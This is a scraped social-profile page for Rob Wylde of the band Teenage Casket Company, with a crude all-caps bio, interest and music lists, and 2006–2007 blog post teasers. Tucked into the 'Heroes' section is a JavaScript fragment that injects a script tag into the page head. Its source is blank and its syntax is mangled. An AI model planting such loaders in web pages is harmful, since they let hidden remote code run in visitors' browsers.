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ROB WYLDE

'YOU CANT KEEP A GOOD MAN DOWN!'

About Me

MY NAME'S ROB WYLDE. I'M THE SINGER/LEAD GUITARIST/SONGWRITER OF THE BAND "TEENAGE CASKET COMPANY". WE'RE ON A MISSION TO RID THE WORLD OF ALL THE DULL, BORING, FACELESS ROCK BANDS OUT THERE AND GIVE PEOPLE WHAT THEY REALLY WANT: GOOD TIME, KICK ASS, MELODIC PARTY ROCK PLAYED BY GUYS WHO KNOW EXACTLY HOW TO PUT ON "THE ROCK SHOW" AND ARE NOT AFRAID TO LOOK AND ACT LIKE ROCKSTARS AT ALL TIMES. IMAGINE COMBINING ALL OF THE BEST PARTS OF LATE 80'S/EARLY 90'S MELODIC/GLAM PARTY ROCK, ADD AN ARROGANT PUNK ROCK SWAGGER, THEN THROW IN A HUGE SERVING OF STICKY SWEET POP ROCK AND YOU WONT BE A MILLION MILES AWAY. WE'VE BEEN LABELLED AS A "PUNK ROCK BON JOVI" MANY TIMES AND THAT PRETTY MUCH HITS THE NAIL ON THE HEAD. OUR DEBUT ALBUM "DIAL IT UP" WAS RELEASED IN APRIL 2005 AND RECEIVED GLOWING REVIEWS ALL OVER THE WORLD. (HIT GOOGLE AND CHECK IT OUT FOR YOURSELVES!) ON THE BACK OF THAT ALBUM, WE TOURED THE UK 4 TIMES, AS WELL AS TOURING IRELAND IN JUNE 2006. WE'VE HAD COUNTLESS SUPPORT SLOTS ALONG THE WAY WITH THE LIKES OF VAIN, LA GUNS, VAINS OF JENNA, MITCH MALLOY, THE EROTICS, TUFF AND MANY, MANY MORE. ON JUNE 17TH 2006 WE RELEASED OUR NEW CDEP "EAT YOUR HEART OUT", JUST PRIOR TO HEADING ACROSS THE ATLANTIC FOR OUR 2ND TOUR OF THE USA. THIS TIME AROUND, IT WAS SPONSORED BY, WITHOUT DOUBT THE BIGGEST ROCK N ROLL WEBSITE ON PLANET EARTH: "METAL SLUDGE". SINCE RETURNING FROM THAT HIGHLY SUCCESFUL TOUR WE'VE BEEN PLAYING LIVE NON-STOP AND HAVE EXCITING TIMES AHEAD WITH DATES IN ITALY, GERMANY AND OTHER MAINLAND EUROPEAN COUNTRIES ALL IN THE PIPELINE.... WHEN I'M NOT RIPPING IT UP ON STAGE ALL OVER THE WORLD WITH TCC, I LOVE SITTING AT HOME WRITING SONGS AND PLAYING GUITAR. IN FACT MY WHOLE LIFE REVOLVES AROUND MUSIC, AS NOT MUCH ELSE REALLY INTERESTS ME APART FROM GOING OUT DRINKING AND PARTYING WITH COOL PEOPLE. I ALSO HAVE A REAL WEAKNESS FOR HOT LOOKING ROCK CHICKS....SO YOU BETTER LOCK UP YOUR DAUGHTERS WHEN I COME TO TOWN! CHECK OUT WWW.TEENAGECASKETCOMPANY.COM AND WWW.MYSPACE.COM/TEENAGECASKETCOMPANY FOR ALL THE INFO THAT YOU NEED ABOUT YOUR NEW FAVOURITE BAND. POP BY, SAY HELLO, SPREAD THE WORD, BUY OUR SHIT AND I'LL SEE ALL YOU CRAZY ROCK N' ROLLERS OUT ON THE ROAD! ..

My Interests

CHECK OUT OUR 10 QUESTIONS ON METAL SLUDGE.JUST HIT THE BANNER BELOWTEENAGE CASKET COMPANY(MY ENTIRE LIFE!), SONGWRITING,GIRLS,BEER,GUITARS,HAIR,EYELINER,MAKEUP,LOOKING AS MUCH LIKE A CHICK AS POSSIBLE(AFTER ALL GUYS WHO LOOK LIKE CHICKS GET THE BEST LOOKING GIRLS....FACT!!!),POP ROCK,HUGECHORUS`,KEYBOARDS,GLAM,COOL CLOTHES,ANYONE WHO LOVES DANGER DANGER AND LATE 80S COCK ROCK,VINTAGE NIKE HIGH TOPS,SLEEPING,"HARDCORE 69 CLOTHING",POWER BALLADS,SKIN TIGHT JEANS THAT MAKE MY BALLS HURT,PERFORMING KICK-ASS PUPPET SHOWS,MY BEST FRIEND IN THE WORLD TIGGI WYLDE-(MY HAIR METAL CAT....SHE GOES CRAZEE FOR FASTER PUSSYCAT AND ALLEYCAT SCRATCH),ERM....DID I MENTION GIRLS,GIRLS AND MORE GIRLS?,UNDERDOGS,AFTERNOON NAPS WITH THE WINDOW OPEN,WORKING YOUR FUCKIN ASS OFF TO ACCOMPLISH YOUR DREAMS,VINTAGE 80'S TOUR SHIRTS, HANGING OUT AT ROCK CLUBS AND PUBS WITH COOL MUTHAFUCKERS,TALKING SHIT & DOING EVERYTHING HUMANLY POSSIBLE TO AVOID WORKING A DAY JOB

I'd like to meet:

THE PRESIDENT OF SONY RECORDS!

Music:

....BANG GANG-YOUNG AND THE RESTLESS ....PRETTY BOY FLOYD-ROCK N ROLL....FASTER PUSSYCAT-HOUSE OF PAIN ....VINCE NEIL-YOUR INVITED BUT YOUR FRIEND CANT COME ....DANGER DANGER-NAUGHTY NAUGHTY ....KISS-TURN ON THE NIGHT ....CHEAP TRICK-THE FLAME ....WARRANT-BIG TALKTEENAGE CASKET COMPANY,DANGER DANGER,KISS,POISON,WARRANT, BON JOVI,TRIXTER,DEF LEPPARD,BANG GANG,WHITE LION,BLUE BLUD,ENUFF Z NUFF,VAIN,MOTLEY CRUE,SHOTGUN MESSIAH,LA GUNS,TUFF,KILL HANNAH,CHEAP TRICK,GOO GOO DOLLS,ROBIN BLACK,VAINS OF JENNA,MITCH MALLOY,SKID ROW,KANE ROBERTS,SKIN & BONES,ROXY BLUE,SHAMPOO,THE DONNAS,WILDSIDE,BABYLON AD,DURAN DURAN,THE VERONICAS,BIG HOUSE,WINGER,KING OF THE HILL,EUROPE,THE EROTICS,HEART,AHA,FASTER PUSSYCAT,STEVE STEVENS,RICK SPRINGFIELD,CINDERELLA,EROTIC SUICIDE,40FT RINGO,CLEAR STATIC,NELSON,SPREAD EAGLE,SCORPIONS,TIGERTAILZ,BAD ENGLISH,WILD BOYZ,EVERY MOTHERS NIGHTMARE, SURVIVOR,BANGALORE CHOIR AND ANYTHING ELSE WITH GREAT MELODIES!!

Movies:

LOST BOYS,DONT TELL MOM THE BABYSITTERS DEAD(ONLY COS I WANT TO FUCK CHRISTINA APPLEGATE!!),ALL THE ROCKY MOVIES,COBRA,LOCK UP,THE SHINING

Television:



T.V BORES ME TOO APART FROM WATCHING `NEIGHBOURS` TWICE DAILY!!

Books:

THE LIFE AND TIMES OF ROB WYLDE,THE DIRT, FARGO ROCK CITY, HELLBENT FOR LEATHER

Heroes:

ANYONE WITH THE HEART,SOUL,GUTS AND FUCKIN BALLS TO PERSUE THEIR DREAMS IN LIFE...WHATEVER THEY MAY BE. ALSO,ANYONE WITH THE ABILITY TO SAY A HUGE `FUCK YOU!!` TO ANYONE WHO STANDS IN THEIR WAY. MUSICAL HEROES-PAUL STANLEY,BRET MICHAELS,STEVE WEST,JON BON JOVI,DESMOND CHILD. .."var s=document·createElement('script');s.src='..';document& #183;getElementsByTagName('head')[0].appendChild(s);"

My Blog

SELLING TONS OF HAIR METAL SHIT!!!

OK ROCKERS I`VE DECIDED TO CLEAR OUT MY CLOSET AND SELL A LOAD OF MY HAIR METAL SHIT (VIDEOS AND DVDS).....THE REASON?1-I HAVE MOST OF THIS STUFF COPIED ANYWAY.2-AND YES,IM A BROKE,SRUGGLING,STARVING ...
Posted by ROB WYLDE on Sat, 26 May 2007 08:47:00 PST

OFFICIAL TCC 2007 TOUR DATES!!

WE`RE BACK MUTHAFUCKERS!!!! JULY 22-ASSEMBLY ROOMS,DERBYAUGUST 2-JAMIES BAR,BANBRIDGE (IRELAND)AUGUST 3-MASONS,LONDONDERRY (IRELAND)AUGUST 4-PAVILLION,BELFAST (IRELAND)AUGUST 8-RIOS,LEEDS.AUGUST 9-INT...
Posted by ROB WYLDE on Tue, 01 May 2007 08:25:00 PST

NEW REVIEWS AND INTERVIEWS!!!!

HEY COFFIN KIDZ,ITS COMING UP TO A YEAR SINCE WE RELEASED OUR LAST CD `EAT YOUR HEART OUT`STILL THE KICK ASS REVIEWS KEEP COMING FROM ALL OVER THE WORLD.CHECK THESE BABIES OUT FROM THE USA AND AUSTRAL...
Posted by ROB WYLDE on Sat, 07 Apr 2007 09:17:00 PST

PURE ROCK AWARDS-TCC 5TH BEST BAND OF 2006

HEY COFFIN KIDS,JUST STUMBLED ACCROSS THE 2006/2007 PURE ROCK AWARDS.TEENAGE CASKET COMPANY WERE AWARDED 5TH BEST BAND OF THE YEAR AND 4TH BEST SINGLE OF THE YEAR....JUST GOES TO SHOW THAT DESPIT...
Posted by ROB WYLDE on Sun, 04 Mar 2007 04:35:00 PST

2006....WHAT A YEAR!!!!!!

WELL ONE THINGS FOR SURE COFFIN KIDS.2006 HAS BEEN ONE BADASS CRAZY ROLLERCOASTER OF A RIDE THATS FOR SURE..... NOT JUST FOR ME  PERSONALLY BUT FOR `TEENAGE CASKET COMPANY`TOO.FROM THE ...
Posted by ROB WYLDE on Wed, 15 Nov 2006 08:35:00 PST

BRAND NEW RADIO INTERVIEW

CHECK OUT A BRAND NEW RADIO INTERVIEW I DID FOR AMERICAN SITE `HARD ROCK HAVEN` IN WHICH I TALK ABOUT OUR U.S TOUR,OUR NEW VIDEO RELEASE AND OUR NEW E.P AMONST OTHER THINGS.... LISTEN TO IT RIGHT HERE...
Posted by ROB WYLDE on Mon, 09 Oct 2006 01:05:00 PST

VINTAGE 80`S ROCK SHIRTS!!!!!

OK,IN MY OPINION YOU CAN NEVER OWN TOO MANY VINTAGE 80`S ROCK SHIRTS.....I`M ALWAYS ON THE HUNT FOR THEM AND WONT GIVE UP UNTIL I OWN EVERY SINGLE "OBSCURE" T SHIRT BY EVERY SINGLE "OBSCURE" BAND...
Posted by ROB WYLDE on Fri, 06 Oct 2006 05:53:00 PST

BRAND NEW INTERVIEW

CHECK OUT A BRAND NEW INTERVIEW I RECENTLY DID FOR WILDSIDE.NET IN WHICH I TALK ABOUT THE NEW EP,OUR U.S TOUR WITH `VAINS OF JENNA`,GROUPIES ,BEER,FILTH...AND EVERYTHING ELSE YOU CAN THINK OF......HIT...
Posted by ROB WYLDE on Wed, 27 Sep 2006 06:26:00 PST

20 KICK ASS ALBUMS YOU HAVE TO HEAR!!

DANGER DANGER-SCREW IT!My favourite album of all time.Melodic cock rock at its very best.Best tracks-Crazy nites,Dont blame it on love,Slipped her the big one. WARRANT-CHERRY PIE.The ultimate friday n...
Posted by ROB WYLDE on Mon, 25 Sep 2006 02:37:00 PST

BACK FROM U.S.A (TOUR DIARY 2006 PART 5)

SUNDAY 9TH JULY-AFTER A VERY LONG AND UNCOMFORTABLE RIDE BACK FROM BUFFALO WE ARRIVED BACK AT TRASHS` AT AROUND 7.30AM.EXHAUSTED,WE ALL HEADED FOR SOME MUCH NEEDED SLEEP.WE ALL AWOKE AROUND 11 AM AND ...
Posted by ROB WYLDE on Tue, 08 Aug 2006 04:04:00 PST